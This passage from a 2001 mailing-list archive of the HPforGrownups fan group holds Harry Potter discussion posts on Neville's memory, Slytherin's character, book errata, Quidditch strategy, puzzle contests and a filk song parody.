they still can't pronounce it. My last name is Lvovsky
(it's Ukrainian). Those americans hear it all right
and they are by no means stupid, they simply have
problems pronouncing that particular collection of
letters in that particular order since it's so foreign
to their native laguage patterns. The same can be true
of Krum and Hermione.

Marsha/Marianna 

=====


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From animalsbaby_1999 at yahoo.com  Fri Sep 28 22:40:42 2001
From: animalsbaby_1999 at yahoo.com (laura hickman)
Date: Fri, 28 Sep 2001 15:40:42 -0700 (PDT)
Subject: [HPforGrownups] Re: Neville   You go, boy!/Memory Charm
In-Reply-To: <9p222t+9kg4@eGroups.com>
Message-ID: <20010928224042.19353.qmail@web20006.mail.yahoo.com>

No: HPFGUIDX 26850


We know that, at least on some level Harry remembers
what happened to his parents, and since he has been
having dreams, maybe what Neville saw took much longer
in time, therefore, there is more to remember, so for
his safety there were memory charms put on him. 
However, I do like your idea about using memory charms
to get info... and if the MoM did find a way to get
Neville to remeber, I'm sure they would also want him
to forget it after he gave his info!  

Laura

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From animalsbaby_1999 at yahoo.com  Fri Sep 28 22:58:42 2001
From: animalsbaby_1999 at yahoo.com (laura hickman)
Date: Fri, 28 Sep 2001 15:58:42 -0700 (PDT)
Subject: [HPforGrownups] Re: Krum, Hermione
In-Reply-To: <9p2q4k+9o8e@eGroups.com>
Message-ID: <20010928225842.15982.qmail@web20004.mail.yahoo.com>

No: HPFGUIDX 26851

  I also think his celebrity carries little
> weight with 
> Hermione - but she does remark his bravery at the
> QWC.
>

She did fall for Lockhart... the famous (or should I
say the infamous) Lockhart!!!! So did Mrs. Wesley
don't forget!!!!!  :)  Lockhart might have been a
dope, but he did best smile 5 yrs running!!!! 

Laura
> 


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From sunsetstripbitch77 at yahoo.com  Fri Sep 28 23:00:58 2001
From: sunsetstripbitch77 at yahoo.com (sunsetstripbitch77 at yahoo.com)
Date: Fri, 28 Sep 2001 23:00:58 -0000
Subject: Why the Triwizard Championship?
In-Reply-To: <005f01c14799$329860e0$33af1e3e@StephenDawson>
Message-ID: <9p2vfa+hql9@eGroups.com>

No: HPFGUIDX 26852

JKR has to make something interesting for each book.  how do you 
think it would look if she wrote a long book with nothing in the 
first 600 pages, and then a battle.  there has to be something more 
going on than just quidditch and exploding cauldrins in potions.  

i also agree with the dramatic death for harry theory.  he is about 
to think that he has won, but instead he dies.  that is what voldie 
and his death eaters would like, isnt it?  

there has to be an interesting battle, or something long and 
iteresting going on in it.  i think i am repeating myself... sorry

i hope i dont sound rude in any way, 
:)



--- In HPforGrownups at y..., "Lucy Austin" <lucy at l...> wrote:
> Hello,
> 
> I'd be grateful if someone could solve the problem that's been 
bothering us. Why does Harry have to be entered for the Tournament in 
the first place? Surely if Dumbledore's protections don't work 
against a Portkey on the Quidditch Pitch, they wouldn't work in the 
school either. All the fake Moody has to do is to turn Harry's 
homework book or something into a Portkey and call Harry up to his 
desk to get it. He doesn't care if people see Harry disappear because 
Voldemort will have him by then. If he really wants it to be secret, 
he could just send Harry out of the room to fetch whatever he's 
turned into the Portkey. Can someone make sense of this?
> 
> Lucy
> 
> 





From bookraptor11 at yahoo.com  Sat Sep 29 00:07:14 2001
From: bookraptor11 at yahoo.com (bookraptor11 at yahoo.com)
Date: Sat, 29 Sep 2001 00:07:14 -0000
Subject: Could Salazar Slytherin be nice?
In-Reply-To: <9p0q0f+sqbm@eGroups.com>
Message-ID: <9p33bi+5lvb@eGroups.com>

No: HPFGUIDX 26853

--- In HPforGrownups at y..., y_no_m at y... wrote:
> Professor McGonagall said in the first book that each House has a 
> long and honorable history including Slytherin.

> I am writing a fanfic with this theory in mind, and readers are 
> either liking the idea of a nice Slytherin or saying Slytherin 
can't 
> have been nice.

I wouldn't call him nice.  One of the other replies noted his 
creation of the basilisk, keeping it hidden and ready to be unleashed 
all these years. 
While this is not the actions of a "nice" man, it doesn't make 
Salazar Slytherin a villain like Voldemort. He created the chamber of 
secrets during a time of persecution of wizards and witches, and it 
fits in with his philosophy of "the ends justifying the means."  It 
was a booby trap in Hogwarts if muggles invaded, but he didn't 
advocate muggle genocide like Voldemort does.

The trouble with this philosophy of course is that it can lead to 
very evil actions and a person becoming increasingly evil if he lives 
his life solely with this in mind.  However, Slytherin may have had 
good qualities like bravery and loyalty.  We just don't have enough 
info on him.

I'd be interested in fanfic exploring this. Hopefully JKR will be 
more forthcoming in later books or after the series ends.

Donna




From nizbet_noni at hotmail.com  Sat Sep 29 00:15:15 2001
From: nizbet_noni at hotmail.com (Elizabeth Clayton)
Date: Sat, 29 Sep 2001 10:15:15 +1000
Subject: A New Flint?
Message-ID: <F100xkl6JpfmGuZtu920000d3d7@hotmail.com>

No: HPFGUIDX 26854

>I was rereading PoA (hardcover, Bloomsbury, 20th printing) and lo and 
>behold, on the first page of Chapter One Harry is reading "A History of 
>Magic" by Adalbert Waffling!  I knew that wasn't correct, so I checked my 
>copy of PS (also hardcover, Bloomsbury, 20th printing) and confirmed from 
>the list of first-year textbooks in Chapter Five, "Diagon Alley", that 
>Bathilda Bagshot had written that book, while Adalbert Waffling had written 
>"Magical Theory."  I have never come across this Flint before.  Am I the 
>first to do so?  It is hard to believe that this is true, but if so, 
>Hooray!  I found a Flint!

>Haggridd

Ooh, good catch! In both my hardcover editions it's by Waffling, but in my 
paperback it's changed to Bathilda. (Yes, I have three copies. What, doesn't 
everyone?)

Also, if you check CoS, the names of Lockharts books change from 'Wanderings 
with Werewolves' and 'Year with the Yeti' (chapter four, on the booklist) to 
'Weekend with a Werewolf' and 'Year with a Yeti' (chaper six, Lockharts 
class), respectivley. I guess that could be put down to Lockhart being a 
stupid great prat, but I think he'd be the type of person who'd know 'his' 
books off by heart, because he's so stuck on himself.

Elizabeth C

--------
"Say what you will about the man...he may be a creepy, soulless, undead 
zombie with a weird thing for snakes, but hes got impeccable taste in 
clothing." - Draco Sinister, by Cassandra Claire
--------






_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From frantyck at yahoo.com  Sat Sep 29 01:52:29 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Sat, 29 Sep 2001 01:52:29 -0000
Subject: QWC strategy
In-Reply-To: <9p295s+30hh@eGroups.com>
Message-ID: <9p39gt+fdhj@eGroups.com>

No: HPFGUIDX 26855

--- In HPforGrownups at y..., foxmoth at q... wrote:
>     Also, there's usually more at stake in a sports final than 
> winning the cup.  There's money too...suppose the take is 
> divided between the teams according to the point margin but the 
> team who catches the Snitch gets a bonus.  In that case,  the 
> Bulgarian team might actually be better off  to lose the match by 
> a small margin rather than let Ireland catch the Snitch and win by 
> a large one. Also there's draft choices...at least in American 
> sports the winning team gets last pick of the new players. Now 
> Bulgaria is losing their best player, who won't be in training for 
a 
> full season on account of the Tri-wizard Tournament, so they 
> might just be better off coming in second.
>   I admit I am not that versed in sports, so maybe someone who 
> is could tell me if any of this makes sense?
> 
> Pippin


I'm glad that Pippin went the hardheaded, businesslike way and 
brought up money and longterm strategy in sport... I'd like to offer 
an example.

For anyone passionate about cricket, which is the endless English 
game with a bat and a hard ball and polite players standing around an 
enormous field all day, the test match that lasts 5 days is the real 
thing, not the much racier one-day match that is becoming far more 
popular. I'm not sure about this, but I believe the main reason for 
the one-day match overtaking the test match is that it is so much 
more convenient to broadcast and to watch. In tournaments with 
several national teams competing, a series of tests would take just 
too long.

Likewise with Quidditch. What an administrative nightmare it would be 
if all the hundred thousand magical spectators stayed on that patch 
of the moors for as long as it took to watch the entire final! How 
inconvenient to hang around and wait for the end. I'm sure there's 
some time limit to the matches imposed by authorities and by 
sponsors, not least because the Ministry have to conceal everything 
from Muggles.

Long Quidditch may be the pure form of the sport, played at less high-
profile occasions including, probably, matches between local teams.

Finally: who says international competitions are the place where the 
purest forms of a sport are played? Local habits and variations must 
be ironed out at tournaments, and in turn, the popularity of such 
tournaments makes the tournament set of rules slowly replace local 
ones.

Um, assuming the Long and Short Quidditch idea is plausible, what 
would you call the two?




From joym999 at aol.com  Sat Sep 29 02:33:45 2001
From: joym999 at aol.com (Joy M)
Date: Sat, 29 Sep 2001 02:33:45 -0000
Subject: HP4GU Contest #14 Results
Message-ID: <9p3bu9+g9c2@eGroups.com>

No: HPFGUIDX 26856

Well, we have a whole bunch of smart people here in HP4GUland.  The 
following people correctly solved the acrostic puzzle:

Jen Faulkner, Vicki Granger, Sheryll Townsend, Jacqueline Brasen, 
Gwen, JAMIE W, Libby, catherine, Julia, Elena Maestri, Brandon, Luce, 
and Amy Zurgatroyd

The quote found in the acrostic diagram is:

  Albus Dumbledore had gotten to his feet.  He was beaming at the 
students, his arms opened wide, as if nothing could have pleased him 
more than to see them all there.
  "Welcome!" he said.  "Welcome to a new year at Hogwarts!  Before we 
begin our banquet, I would like to say a few words.  And here they 
are:  Nitwit!  Blubber!  Oddment!  Tweak!

The phrase from the wordlist is:

Book Two:  Harry Potter and the Chamber of Secrets

The clues from the wordlist are:

Unpopular vegetable: BEET
Vow: OATH
The Moor of Venice: OTHELLO
Hagrid carries one in his pocket: KETTLE
Subject: THEME
Useful spell for getting rid of annoying poltergeists: WADDIWASI
Strange: ODD
Type of sandwich (3 wds.):   HAM AND SWISS
Reverence: AWE
How Norbert likes his meat: RAW
Oldtime movie actor Basil: RATHBONE
YABBA dabba - do
Made a sound: PEEPED
Not this one but the (2 wds.): OTHER ONE
One of the most important courses at Hogwarts: TRANSFIGURATION
Type of suit material: TWEED
You could say that this "half-defines" Buckbeak: EQUINE
Scabbers is one; Mickey is not: RAT
If Harry had killed Pettigrew he would have AVENGED THE  death of his 
parents.  (2 wds.)
NIMBUS  2000:
Wizard who discovered the twelve uses of dragon's blood: DUMBLEDORE
Gregory Goyle hardly ever has one: THOUGHT
Keeper of the Keys and Grounds at Hogwarts: HAGRID
Eddie's real name, sometimes: EDMUND
Wallace's favorite food: CHEESE
Hello, in Texas: HOWDY
U's first name: ALBUS
What Crookshanks says: MEOW
What only Harry could hear: BASILISK
Ravenclaw's symbol: EAGLE
Madam Hooch's Quidditch position: REFEREE
"My country `tis  "  (2 wds.): OF THEE
The best broomstick: FIREBOLT
The most important Quidditch ball: SNITCH
Book by J.K. Rowling's favorite author: EMMA
COLIN  Creevey:
REMUS  Lupin:
Recant (3 wds.): EAT ONE'S HAT
Number of chapters in the third Harry Potter book: TWENTY-TWO
Believe gullibly: SWALLOW





From joym999 at aol.com  Sat Sep 29 02:50:25 2001
From: joym999 at aol.com (Joy M)
Date: Sat, 29 Sep 2001 02:50:25 -0000
Subject: HP4GU Contest #15
Message-ID: <9p3cth+cp0e@eGroups.com>

No: HPFGUIDX 26857

I know you all like puzzles, but, well, you're not getting one this 
week because I like creative contests; they're a lot more fun, and 
less work, for me.  (C'mon, give it a try...you know you can be 
creative.  Sure you can. Make the contestmeister happy.)

OK, here goes.  Way back when, pigwidgeon37 said:

".. it is never made clear who nominates or elects the Minister of 
Magic."

and Lyda Clunas speculated that

"I'd imagine that there's some sort of board of Ministry officials or 
such, but who knows, perhaps it's a popular election. That would be 
interesting..." 

Interesting, indeed.  Let's suppose there is an election and wizards 
and witches like Dumbledore, Fudge, Crouch, McGonagall, etc. had to 
run for office.  What would their election campaigns be like?  You 
tell us.  Write a political slogan, campaign ad, or anything else 
campaign-related for a candidate for Minister of Magic.  Your 
candidate can be a known HP character, or a character you make up.  
You can even run for Minister of Magic yourself.  (Make the most of 
it...you're not likely to get another opportunity.)

As an example, I suspect that if Gilderoy Lockhart were running for 
MoM, his campaign slogan would be something along the line of:

"Vote for Lockhart -- The Only Wizard with a Smile Dazzling Enough to 
Defeat the Dark Lord!"

Email your entry to me at HP4GUCon at aol.com or to the above address.  
(Make sure you save your entry, and send it a second time if you 
don't receive a response from me.)  You've got a week or so.  May the 
best wizard win.

--Joywitch




From DaveH47 at mindspring.com  Sat Sep 29 03:22:30 2001
From: DaveH47 at mindspring.com (Dave Hardenbrook)
Date: Fri, 28 Sep 2001 20:22:30 -0700
Subject: [HPforGrownups] The Order of the Phoenix
In-Reply-To: <9p0pch+ur8i@eGroups.com>
References: <9p0pch+ur8i@eGroups.com>
Message-ID: <18582193083.20010928202230@mindspring.com>

No: HPFGUIDX 26858

Hi Joy!

Thursday, September 27, 2001, 8:04:49 PM, you wrote:

JM> [20.    Biology. A taxonomic category of organisms ranking above a 
JM> family and below a class.]

JM> The Order of the Phoenix is  _Avis Magicalus Rarus_

The full taxonomic classification for the Phoenix might run like this:

Kingdom: Animalia
  Phylum: Chordata
    Sub-Phylum: Vertebrata
      Infra-Phylum: Tetrapoda
        Super-Class:  Sauropsida
          Class: Endosauropsida
            Sub-Class: Theropoda
              Infra-Class: Maniraptoria
                Super-Order: Aves
                  Order: Phoeniciformes
                    Family: Phoenicidae
                      Genus: Phoenix
                        Species: _Phoenix pyropartus_





-- 
                  Dave  (who probably needs his biology textbook
                         confiscated) :)




From pegasus0580 at yahoo.ca  Sat Sep 29 04:14:19 2001
From: pegasus0580 at yahoo.ca (pegasus0580 at yahoo.ca)
Date: Sat, 29 Sep 2001 04:14:19 -0000
Subject: How do the present Hogwarts group compare to the past one
Message-ID: <9p3hqs+o9j9@eGroups.com>

No: HPFGUIDX 26859

Hi! Haven't really had a chance to say anything for the last while 
and I tried reading up on the past posts to get up to date.  You guys 
seem to have created a lot of new organizations while I was busy 
dealing with my school work.
Well you can sign me up for almost all of them :)

Well to the point now, I was just thinking about how Harry, Ron and 
Hermione resemble the old group.
Everyone says Harry resembles James in both his behaviour and looks, 
which is probably true.  And I find that Ron does kindda behaves 
impulsively as Sirius does and he does seem to dislike Draco as 
Sirius dislikes Snape (and vice versa).  Now Hermione, I find that 
she is similar to Lupin, not that I am saying that she is a tom-boy 
or he is feminine (These two are my fav characters--well especially 
Lupin since he reminds me of a fav teacher).  They both seem insecure 
and lonely. (Hermione, I find doesn't socialize with many girls 
except for Ginny.  When Ron and Harry were fighting with her, Hagrid 
said that she visited him often because she was lonely.)  But at the 
same time, they are both likable characters since they both are very 
intelligent and compassionate towards others.
In the PoA, Harry imagined that Peter Pettigrew looked like Neville 
when he was reinacting the scenes of what happened before his parents 
died.  Is this some clue that Neville is the fourth member of the 
bunch?  I don't ever, ever, ever think that Neville will do what 
Peter did since he seems to be a very different person that Peter (he 
has his own strength, he doesn't hide behind stronger people).  And I 
think that this time they (H/H/R) will learn from the past 
experiences of Sirius and Lupin to make the story end on a happier 
note.

Sharlene
(still have a lot of stuff to do--grumble grumble--just needed to get 
this out of my mind)




From catlady at wicca.net  Sat Sep 29 06:23:45 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 29 Sep 2001 06:23:45 -0000
Subject: The Order of the Phoenix
In-Reply-To: <18582193083.20010928202230@mindspring.com>
Message-ID: <9p3pdh+d9mh@eGroups.com>

No: HPFGUIDX 26860

--- In HPforGrownups at y..., Dave Hardenbrook <DaveH47 at m...> wrote:

>                     Family: Phoenicidae
>                       Genus: Phoenix
>                         Species: _Phoenix pyropartus_
> 
If there's only one species in the genus (or if in Linneaus's 
time it was thought that there was only one species in the 
genus), it could be Phoenix phoenix. 
Phoenix domesticus
Phoenix familiaris
isn't there a Latin adjective used for the 'true' example, like 
the true oak or true maple?




From empress_dai_gin_kali at yahoo.com  Sat Sep 29 07:53:16 2001
From: empress_dai_gin_kali at yahoo.com (Bethany)
Date: Sat, 29 Sep 2001 00:53:16 -0700 (PDT)
Subject: [HPforGrownups] Re: Could Salazar Slytherin be nice?
In-Reply-To: <9p2kds+atba@eGroups.com>
Message-ID: <20010929075316.15628.qmail@web11802.mail.yahoo.com>

No: HPFGUIDX 26861


--- mellienel2 at yahoo.com wrote:
> > 
> > Right - I think Slytherin was indeed a good
> person. Just that each 
> > founder of the Hogwarts had different values and
> different code of 
> > ethics with "Ends justify the means" being
> whole-hartedly accepted 
> by 
> > Slytherins...
> 
> Could slytherin have possibly been a good person if
> he employed the 
> use of a basilisk to kill non pureblooded wizards,
> or hid it in 
> Hogwarts for his descendant to use?
> 
> I'm doubtful...
> 
> m. 
In all fairness, we really don't know the reason that
Salazar created the Chamber or placed the basilisk
within it. We know that around the time of his break
with the Founders, that there were problems with
persecution among Muggles. Perhaps it was meant as a
defence in case of something like the Burning Times,
but it was never used because either it's existence
wasn't known of, or it was too feared. In Fantastic
Beasts, the point is made that the basiisk is as
dangerous to most Dark Wizards as anyone else and only
a Parselmouth can control one. Perhaps Slytherin was
much like our beloved Hagrid and had a softspot for
monsters and never meant any harm. After he hatched
the basilisk he may have realized it was a mistake,
but have been unable to convince himself to destroy it
settling instead for locking it away in a chamber only
he or a protegee/descendant of his could open not
knowing that Riddle would use it for evil twice.
Everything else could have been made up by those that
came after he died.
 This is of course nothing more than speculation until
JKR opens the door a bit further and we are allowed to
glimpse a little more of what the Founders were like
other than qualities they wanted their students to
have. It very well could be that Slytherin was evil,
but until proven wrong, I prefer to think of him as an
okay guy who got a bad name.
~Bethany (who always looks for the good in the "bad
guy" esp. Severus Snape, Sirius Black, and Draco
Malfoy)  ;)


__________________________________________________
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Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From macloudt at yahoo.co.uk  Sat Sep 29 08:58:19 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Sat, 29 Sep 2001 08:58:19 -0000
Subject: Neville/Memory Charm
In-Reply-To: <9p2rs7+5896@eGroups.com>
Message-ID: <9p42fb+77q7@eGroups.com>

No: HPFGUIDX 26862

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
 Even a 2 year old can't 
> identify people, understand a crime, or remember anything later, 
> unless the crime were committed by Teletubbies.
> 
Don't be too sure.  OT, I know, but my nephew can remember things 
from when he was 18 months old...not much, but snippets.

And by the age of 2 the toddler has possibly the closest relationship 
ever with his/her parents.  Some 2-year-old can emphasize with pain, 
so if poor little Neville did see his parents tortured he may have 
been able to at least figure out that Mummy and Daddy were being 
hurt.  Neville strikes me as a sensitive soul anyway.  If this was 
the case then he could have been traumatised by what he saw, and 
perhaps a (botched) memory charm was put on him to ease his pain, 
*not* so he couldn't identify the attackers.

I haven't read through the rest of the posts yet so I hope I'm not 
repeating what someone else has already said!

Mary Ann
(who loves Neville to bits and hopes he'll continue to grow out of 
his shell)




From lucy at luphen.co.uk  Sat Sep 29 09:24:24 2001
From: lucy at luphen.co.uk (Lucy Austin)
Date: Sat, 29 Sep 2001 10:24:24 +0100
Subject: [HPforGrownups] Re: Why the Triwizard Championship?
References: <9p2vfa+hql9@eGroups.com>
Message-ID: <002201c148c8$88f4fae0$3fae1e3e@StephenDawson>

No: HPFGUIDX 26863

You're not a book publisher, by any chance, are you? :-)
  ----- Original Message ----- 
  From: sunsetstripbitch77 at yahoo.com 
  To: HPforGrownups at yahoogroups.com 
  Sent: Saturday, September 29, 2001 12:00 AM
  Subject: [HPforGrownups] Re: Why the Triwizard Championship?


  JKR has to make something interesting for each book.  how do you 
  think it would look if she wrote a long book with nothing in the 
  first 600 pages, and then a battle.  there has to be something more 
  going on than just quidditch and exploding cauldrins in potions.  

  i also agree with the dramatic death for harry theory.  he is about 
  to think that he has won, but instead he dies.  that is what voldie 
  and his death eaters would like, isnt it?  

  there has to be an interesting battle, or something long and 
  iteresting going on in it.  i think i am repeating myself... sorry

  i hope i dont sound rude in any way, 
  :)



  --- In HPforGrownups at y..., "Lucy Austin" <lucy at l...> wrote:
  > Hello,
  > 
  > I'd be grateful if someone could solve the problem that's been 
  bothering us. Why does Harry have to be entered for the Tournament in 
  the first place? Surely if Dumbledore's protections don't work 
  against a Portkey on the Quidditch Pitch, they wouldn't work in the 
  school either. All the fake Moody has to do is to turn Harry's 
  homework book or something into a Portkey and call Harry up to his 
  desk to get it. He doesn't care if people see Harry disappear because 
  Voldemort will have him by then. If he really wants it to be secret, 
  he could just send Harry out of the room to fetch whatever he's 
  turned into the Portkey. Can someone make sense of this?
  > 
  > Lucy
  > 
  > 



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  ____________________________________________________________

  "I say to you all, once again--in the light of Lord Voldemort's return, we are only as strong as we are united, as weak as we are divided. 
  "Lord Voldemort's gift for spreading discord and enmity is very great.  We can fight it only by showing an equally strong bond of friendship and trust.  Differences of habit and language are nothing at all if our aims are identical and our hearts are open."

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From shall at sfiweb.demon.co.uk  Sat Sep 29 09:26:29 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Sat, 29 Sep 2001 10:26:29 +0100
Subject: FW: FF: (filk) The Last Waltz
Message-ID: <NCBBLOIDFHFLKCOIHJBKMECHDOAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26864



Caius Marcus's recent efforts inspired me to produce the following.

WARNING:  it contains non-canonical material, and some scenes of shipwreck.

The Last Waltz
(To the tune of Lily, Rosemary, & The Jack of Hearts)

The Leaving Ball was over; the trunks were packed for the train
As it dipped below the Forest, the full moon was setting in the rain.
Along the road from Hogsmeade, up by the moated grange
Three waited for a stag, who'd been acting mighty strange.
No, they couldn't go no further
Without the Jack of Hearts.
............................................................................
................................
Upstairs in the staff-room, they settled down with brandy and cigars
Trelawney was missing; looking for the fates inside the stars
The MOM said "damn fine do", McGonagall raised a glass
Asking for the Governors to toast the the leaving class
With all its wicked pranksters
None wickeder than the Jack of Hearts
............................................................................
....................................
Downstairs in the common room Lily sat sobbing in a chair
Her eyes a wounded animal's, hidden by her falls of red-gold hair
She'd danced each dance in pride and hate, as if she didn't care
The man she loved had stood her up, and wasn't even there
And in her rage she'd pledged herself -
But not to the Jack of Hearts.
..................................................................

Lucius was on the Board; the youngest since Salazar was there
Evil rumours followed him, but Lucy-boy was just too rich to care
It was whispered all around Big V had had a fling
No-one had ever come between Lucy and the King
And  no-one ever would
Except maybe
The lover of the Jack of Hearts.
............................................................................
..............................
"Snakeblood " breathed a weary voice, the door it swung open wide
On sodden satin slippers Narcissa limped her lovely way inside
"Oh! Sorry to disturb you, with coming in so late
Oh Lily, what's the matter?  What got you in this state?
No man's worth that - now, dry your eyes - you mustn't let it show-
Here - borrow mine - it's still quite clean - that's right, a proper blow -"

And Lily knew the handkerchief
She'd given to the Jack of Hearts.
............................................................................
.............................
In the firelight the Tarot cards lay scattered on the floor
Narcissa picked the pack up, cut, and dealt the cards once more
Lily showed her hand, and  both of them could see
Le Prince d'Acquitaine dans le tour abolie
And from the pile of discards
Missing was the Jack of Hearts.
............................................................................
.........................
Along the crowded platform shuffled an embarrassed bit of air
Invisibly, it dodged its friends, trying to pretend it wasn't there
It nipped past Lucius standing there, with Lily's ring to hand
It lurked among the shadows, hiding from a truth it couldn't stand.

It could hide from anyone
Except of course the Jack of Hearts.
............................................................................
..........................
No-one knows what happened,  but they say that it happened pretty quick
The door to a carriage swung open and a wand was seen to flick
A confundus charm came blasting out, and Lucius lost the ring
Followed by some memory charms, so no-one could remember any thing
Then Lily was on the platform
Left snogging with the Jack of Hearts

............................................................................
........................

Narcissa on her wedding day was dressed in white and gold
Her eyes were hard as diamonds; her lips were marble white and cold
And when she said "I do" to Luce she didn't even blink
The MOM proposed the toast, she heard the glasses clink
But Lucy-boy would never know the all of what
She'd given to the Jack of Hearts.



Explanatory note:

"Le Prince d'Acquitaine dans le tour abolie" is the second line of a sonnet
by Gerald de Nerval which begins "Je suis le tenebrae, le veuf, l'inconsole"
("I am the shadowman, the widower, the unconsolable one") .  The broken
tower is one of the Major Arcana of the Tarot pack.  On one level it
symbolises the shattering of illusions and the revealing of enemies, and the
maxim that truth is great and will prevail.  Of course, it also in this case
symbolises the destruction of the house at Godric's Hollow, in Lily's
future.  The Prince of Acquitaine is probably the King of Swords in the
Tarot pack, and symbolises the use of one's abilities and the importance of
staying close to those who truly care about one.  It foreshadows Harry's
being left as the sole survivor in the wreck of Godric's Hollow.  As
divination is a very imprecise science each girl inteprets the hand in a
completely opposite way and neither of them suspect the Godric's Hollow
stuff at all.
For anyone who is interested, Narcissa's own hand was Death, The Lovers and
the nine of Swords, all reversed, but it was too difficult to make that
scan.

Second explanatory note
If anyone considers the first explanatory note to be excessively pretentious
I commend to him or her the sleeve notes to *Blood on The Tracks*.




From Zarleycat at aol.com  Sat Sep 29 09:35:38 2001
From: Zarleycat at aol.com (Zarleycat at aol.com)
Date: Sat, 29 Sep 2001 09:35:38 -0000
Subject: What JKR did not say. An analysis of the interviews.
In-Reply-To: <20010928031026.78382.qmail@web20005.mail.yahoo.com>
Message-ID: <9p44la+lmf8@eGroups.com>

No: HPFGUIDX 26865

--- In HPforGrownups at y..., laura hickman <animalsbaby_1999 at y...> 
wrote:
> > 15. "He might get a different pet at some point but
> > I'm saying no 
> > more at this moment. "
> >  Why would there be any need for a different pet?
> > Does Hedwig die?!
> > 
> 
> Pet: could that pet be a "big black dog"???  If so,
> Hedwig would still be needed, but a "dog" would be
> very helpful.  Plus what a great way to keep Sirius
> safe, under the watchful eyes of Harry, Ron, Hermonie,
> Dumbledore, and others... including maybe the real
> Moody and that would really anger Snape!!!!!
> 
> Laura
> 

Would that be allowed?  The original instructions to first year 
students say that a child is allowed to bring a cat or an owl or a 
toad.  Dogs are not mentioned.  Of course, I suppose Dumbledore could 
make an exception for Harry, which would also serve to annoy Snape, 
as it would give added proof to his contention that Potter doesn't 
have to live by the same rules that everyone else is supposed to 
follow.

Marianne




From lucy at luphen.co.uk  Sat Sep 29 09:40:55 2001
From: lucy at luphen.co.uk (Lucy Austin)
Date: Sat, 29 Sep 2001 10:40:55 +0100
Subject: [HPforGrownups] Re: What JKR did not say. An analysis of the interviews.
References: <9p44la+lmf8@eGroups.com>
Message-ID: <004101c148ca$d8f4cc80$3fae1e3e@StephenDawson>

No: HPFGUIDX 26866

I think a dog could easily be allowed - after all, Ron brought a rat in the first book, which isn't in the rules!

Lucy
  ----- Original Message ----- 
  From: Zarleycat at aol.com 
  To: HPforGrownups at yahoogroups.com 
  Sent: Saturday, September 29, 2001 10:35 AM
  Subject: [HPforGrownups] Re: What JKR did not say. An analysis of the interviews.


  --- In HPforGrownups at y..., laura hickman <animalsbaby_1999 at y...> 
  wrote:
  > > 15. "He might get a different pet at some point but
  > > I'm saying no 
  > > more at this moment. "
  > >  Why would there be any need for a different pet?
  > > Does Hedwig die?!
  > > 
  > 
  > Pet: could that pet be a "big black dog"???  If so,
  > Hedwig would still be needed, but a "dog" would be
  > very helpful.  Plus what a great way to keep Sirius
  > safe, under the watchful eyes of Harry, Ron, Hermonie,
  > Dumbledore, and others... including maybe the real
  > Moody and that would really anger Snape!!!!!
  > 
  > Laura
  > 

  Would that be allowed?  The original instructions to first year 
  students say that a child is allowed to bring a cat or an owl or a 
  toad.  Dogs are not mentioned.  Of course, I suppose Dumbledore could 
  make an exception for Harry, which would also serve to annoy Snape, 
  as it would give added proof to his contention that Potter doesn't 
  have to live by the same rules that everyone else is supposed to 
  follow.

  Marianne


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  ____________________________________________________________

  "I say to you all, once again--in the light of Lord Voldemort's return, we are only as strong as we are united, as weak as we are divided. 
  "Lord Voldemort's gift for spreading discord and enmity is very great.  We can fight it only by showing an equally strong bond of friendship and trust.  Differences of habit and language are nothing at all if our aims are identical and our hearts are open."

  You *can* help. Visit www.redcross.org for details.

  Questions, list-based or otherwise? contact your personal List Elf or the Moderator Team at MagicalMods at yahoogroups.com.

  Unsubscribing? Email hpforgrownups-unsubscribe at yahoogroups.com
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[Non-text portions of this message have been removed]




From klhurt at yahoo.com  Sat Sep 29 11:07:55 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 29 Sep 2001 04:07:55 -0700 (PDT)
Subject: [HPforGrownups] Angry Harry/ Strife
In-Reply-To: <F676hNo6j3wsGSaVkpC000089d5@hotmail.com>
Message-ID: <20010929110755.99760.qmail@web14205.mail.yahoo.com>

No: HPFGUIDX 26867

--- Amber ? <inviziblegirl at hotmail.com> wrote:

>Someone, help me! What could Hermione
>or Ron do to plausibly get Harry
>really upset?

If Hermione does, in fact, become a Prefect, there is great potential
for a temporary rift between her and the boys, like in the Firebolt
incident.

However, to get Harry 'really upset', in my opinion, would take a kind
of betrayal -- or the appearance of such (think Sirius) -- that I
simply cannot imagine from Ron or Hermione.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep 29 11:12:07 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 29 Sep 2001 04:12:07 -0700 (PDT)
Subject: Mrs. Norris
In-Reply-To: <20010925235237.51997.qmail@web20804.mail.yahoo.com>
Message-ID: <20010929111207.53279.qmail@web14201.mail.yahoo.com>

No: HPFGUIDX 26868

--- Rowena Grunnion-Ffitch <rowena_grunnion_ffitch at yahoo.com> wrote:

>I would say Mrs. Norris is a clear
>example of a familiar. She certainly
>isn't an ordinary cat.

Is she, perhaps, part kneazle, too?

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep 29 11:21:38 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 29 Sep 2001 04:21:38 -0700 (PDT)
Subject: F.L.I.R.T.I.A.C.
In-Reply-To: <004a01c14680$7f934280$8992aecb@price>
Message-ID: <20010929112138.40990.qmail@web14206.mail.yahoo.com>

No: HPFGUIDX 26869

--- Tabouli <tabouli at unite.com.au> wrote:

>...F.L.I.R.T.I.A.C! (Filch's Lover Is
>Regretting Transformation Into A Cat).
>[snip] hurls a Permanent
>Transformation spell at him, which
>misses, hits his beloved and turns
>her irreversibly into a cat. [snip] 
>he and Mrs Norris grow old, embittered
>and nasty as they pace the humiliating
>corridors of their tragedy...

As much as I love this theory, you've not taken into account two
things:

1.  Squibs can't do magic at all.

2.  Mandrake Juice restores those who are transformed.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep 29 11:24:52 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 29 Sep 2001 04:24:52 -0700 (PDT)
Subject: [HPforGrownups] Hermione's Knowledge of the Longbottoms
In-Reply-To: <9ot423+5qk6@eGroups.com>
